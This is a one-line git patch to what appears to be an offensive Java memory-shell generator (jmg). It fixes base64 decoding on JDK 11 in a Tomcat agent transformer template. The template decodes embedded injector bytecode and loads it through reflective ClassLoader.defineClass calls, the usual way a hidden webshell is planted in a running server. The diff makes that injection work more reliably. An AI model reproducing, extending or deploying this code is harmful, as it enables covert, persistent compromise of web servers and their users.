From b422a60ee11b7d1bb586ad70092a1efd02ad926b Mon Sep 17 00:00:00 2001 From: pen4uin Date: Sat, 20 Jul 2024 14:06:08 +0800 Subject: [PATCH] =?UTF-8?q?=E4=BF=AE=E5=A4=8D=20agent=20+=20jdk11=20base64?= =?UTF-8?q?=20=E8=A7=A3=E7=A0=81=E7=9A=84=20bug=20(thx=20@mosen)?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- .../src/main/java/jmg/core/template/TomcatAgentTransformer.java | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/jmg-core/src/main/java/jmg/core/template/TomcatAgentTransformer.java b/jmg-core/src/main/java/jmg/core/template/TomcatAgentTransformer.java index 3ef6098..c7140ae 100644 --- a/jmg-core/src/main/java/jmg/core/template/TomcatAgentTransformer.java +++ b/jmg-core/src/main/java/jmg/core/template/TomcatAgentTransformer.java @@ -62,7 +62,7 @@ public class TomcatAgentTransformer implements ClassFileTransformer { " } catch (Throwable e) {\n" + " Class base64Clazz = Class.forName(\"java.util.Base64\");\n" + " Object decoder = base64Clazz.getMethod(\"getDecoder\", null).invoke(base64Clazz, null);\n" + - " byteArray = (byte[]) base64Clazz.getMethod(\"decode\", new Class[]{byte[].class}).invoke(decoder, new Object[]{injectorCode});\n" + + " byteArray = (byte[]) decoder.getClass().getMethod(\"decode\", new Class[]{String.class}).invoke(decoder, new Object[]{injectorCode});\n" + " }\n" + " java.net.URLClassLoader classLoader = new java.net.URLClassLoader(new java.net.URL[0], Thread.currentThread().getContextClassLoader());\n" + " java.lang.reflect.Method method = ClassLoader.class.getDeclaredMethod(\"defineClass\", new Class[]{byte[].class, int.class, int.class});\n" +